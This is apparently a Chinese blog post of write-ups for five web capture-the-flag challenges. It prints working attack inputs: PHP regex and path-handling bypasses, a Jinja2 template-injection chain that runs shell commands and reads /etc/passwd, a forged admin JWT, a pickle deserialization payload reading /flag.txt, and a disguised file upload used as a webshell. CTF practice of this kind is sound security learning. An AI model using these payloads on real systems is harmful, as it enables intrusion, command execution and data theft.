[MRCTF2020]套娃
参考:
MRCTF2020 套娃 - Rabbittt - 博客园 (cnblogs.com)
upfine的博客 (cnblogs.com)
查看源码
然后我这里查一下$_SERVER的这个用法
然后这边的意思就是内里不能用_和%5f(URL编码过的下划线)
然后传入b_u_p_t内里这个参数有下划线,我们想办法绕过- substr_count()函数计算子串在字符串中出现的次数
- PS:子串区分大小写
复制代码 所以我们用%5F绕过,然后就是不能等于2333,但是因为正则匹配中'^'和'$'代表的是行的开头和结尾,所以能使用换行绕过
(这里我尝试一下数组绕过,是绕不过去的)得到下一关
第二关在源码找到jsfuck的代码Jsfuck -- 一个很有意思的Javascript特性 - 简书 (jianshu.com)
我们复制下来到控制台操作一下
必要我们post一个Merak
然后就出现了源码
然后我们必要本地访问,这里使用Client-Ip,XFF不行哦,在Burp上添加
file_get_contents必要我们读取的文件是背面的那个todat那个内容,我们应该使用伪协议- data://text/plain,todat is a happy day
复制代码 重要的是那个file,怎么去读取,经历change函数,是先base64编码,然后转换成ascll码+i*2天生新的字符
然后我们逆向回来- import base64
- def reverse_change(s):
- # 初始化一个空列表来存储处理后的字符
- chars = []
- # 遍历输入字符串的每个字符
- for i, char in enumerate(s):
- # 减去索引乘以2的ASCII码值
- new_char = chr(ord(char) - i * 2)
- # 将处理后的字符添加到列表中
- chars.append(new_char)
- # 将列表中的字符重新组合成一个字符串
- reversed_str = ''.join(chars)
- # 对字符串进行Base64编码(假设原始字符串是Base64解码后的)
- base64_encoded = base64.b64encode(reversed_str.encode()).decode()
- return base64_encoded
- # 导入base64模块(用于Base64编码和解码)
- # 示例使用
- original_base64 = "ZmxhZy5waHA=" # 替换为实际的Base64字符串
- reversed_base64 = reverse_change(base64.b64decode(original_base64).decode())
- print(reversed_base64) # 输出逆向处理后的Base64字符串
复制代码 所以我们最后传入,这里必要url编码,只用中间那一部分必要,我也不太清楚为啥,否则就是不行- ?2333=data://text/plain,todat+is+a+happy+day&file=ZmpdYSZmXGI
复制代码
得到flag
[Zer0pts2020]Can you guess it?
参考:
[BUUCTF题解][Zer0pts2020]Can you guess it - Article_kelp - 博客园 (cnblogs.com)
[Zer0pts2020]Can you guess it?_i[zer0pts2020]can you guess it?-CSDN博客
看源码
目前来看就是会有一个随机的值secret和我们的传入的guess值判定,如果相等就会给出flag
但是他是随机的,没有什么漏洞,这些函数,所以我们眼光转向前面的两个if
basename() 函数用于从一个路径字符串中提取文件名部分(不包括目录路径),并返回提取的文件名,但是该函数发现最后一段为不可见字符时会退取上一层的目录,
$_SERVER['PHP_SELF']会获取我们当前的访问路径,并且PHP在根据URI剖析到对应文件后会忽略掉URL中多余的部分
然后正则表达式只匹配末尾
所以最后payload如下- /index.php/config.php/%ff?source
复制代码
[CSCCTF 2019 Qual]FlaskLight
参考:
[CSCCTF 2019 Qual]FlaskLight——直取flag?-CSDN博客
ssti详解与例题以及绕过payload大全_ssti绕过空格-CSDN博客
查看源代码
发现了传递的参数,我们先试一下是不是模板注入
果然是模板注入
先找有没有什么可以使用的类- ?search={{().__class__.__mro__[1].__subclasses__()}}
复制代码
然后这边我也是看到file类了,看看是第几个位置,代码跑了一下,是第41位- str="<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>"
- str = str.split(', ')
- print(len(str))
复制代码 可以先读取文件试试- ?search={{().__class__.__mro__[1].__subclasses__()[40](%27/etc/passwd%27).read()}}
复制代码
然后这里我发现我们读取文件没用,这个flag找不到,我们还得想办法下令执行,然后我发现了这个,可以使用它去弄那个内置的\__builtins__,失败了- ?search={{().__class__.__mro__[1].__subclasses__()[59].__init__.__globals__}}
复制代码
但是我退归去__init__是没有题目的,我就感觉是过滤掉了globals,然后搜到了绕过- ?search={{().__class__.__mro__[1].__subclasses__()[59].__init__['__glo'+'bals__']}}
复制代码
我们就是要用__builtins__这个- ?search={{().__class__.__mro__[1].__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']}}
复制代码
然后我们就是用__import__去进行下令执行- ?search={{().__class__.__mro__[1].__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__'].__import__('os').popen('ls').read()}}
复制代码
乐成回显,然后此时我发现我不知道哪里有flag,然后应该就是flasklight内里- ?search={{().__class__.__mro__[1].__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__'].__import__('os').popen('ls ./flasklight').read()}}
复制代码
然后查看flag- ?search={{().__class__.__mro__[1].__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__'].__import__('os').popen('cat ./flasklight/coomme_geeeett_youur_flek').read()}}
复制代码
[CISCN2019 华北赛区 Day1 Web2]ikun
参考:
[CISCN2019 华北赛区 Day1 Web2]ikun_[ciscn2019 华北赛区 day1 web2]ikun 1-CSDN博客
[BUUCTF题解][CISCN2019 华北赛区 Day1 Web2]ikun - Article_kelp - 博客园 (cnblogs.com)
打开题目就是一个ikun,让我们买到lv6
源码处发现图片定名规则,发然后我们找找lv6在哪里,编写脚本
- import requests
- for i in range(1,1000):
- url = f'http://42308cef-cefc-458f-94d1-c4f1373cdf09.node5.buuoj.cn:81/shop?page={i}'
- res = requests.get(url)
- print(f'[+]正在查找第{i}页')
- if 'lv6.png' in res.text:
- print(f'[*]查询完毕')
- print(i)
- break
复制代码 最后发现是在181页,付款的时候抓包,因为他有个折扣,我们更改一下
修改成
然后他返回了一个地点
然后我们访问了,他说得是admin用户
我们抓包,注意到他有个jwt格式的,可能是jwt伪造,但是我们没有密钥,我用空密钥试了一下,然后不行的
然后使用jwtcrack爆破密钥
得到密钥为1Kun,然后伪造
- eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.40on__HQ8B2-wM1ZSwax3ivRK4j54jlaXv-1JjQynjo
复制代码 然后进入后有个按钮没啥用,我们查看源码,找到网站源码压缩包
下载下来就开始代码审计,在Admin.py里发现
然后使用pickle这个反序列化[CISCN2019 华北赛区 Day1 Web2]ikun_[ciscn2019 华北赛区 day1 web2]ikun 1-CSDN博客- import pickle
- import urllib
- class payload(object):
- def __reduce__(self):
- return (eval, ("open('/flag.txt','r').read()",))
- a = pickle.dumps(payload())
- a = urllib.quote(a)
- print a
复制代码 然后天生的拼接在这里- c__builtin__%0Aeval%0Ap0%0A%28S%22open%28%27/flag.txt%27%2C%27r%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A.
复制代码
然后就得到flag
[WUSTCTF2020]CV Maker
打开就是个注册,我们注册个账号登录进去看看
登岸进来,有个头像上传的地方,我们试试,是不是文件上传,然后有点waf,我们修改一下Content-Type以及加一个文件头,没有后缀的限定
然后上传后在源码处发现了返回路径
我们用蚁剑连接一下,根目录找到flag
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。 |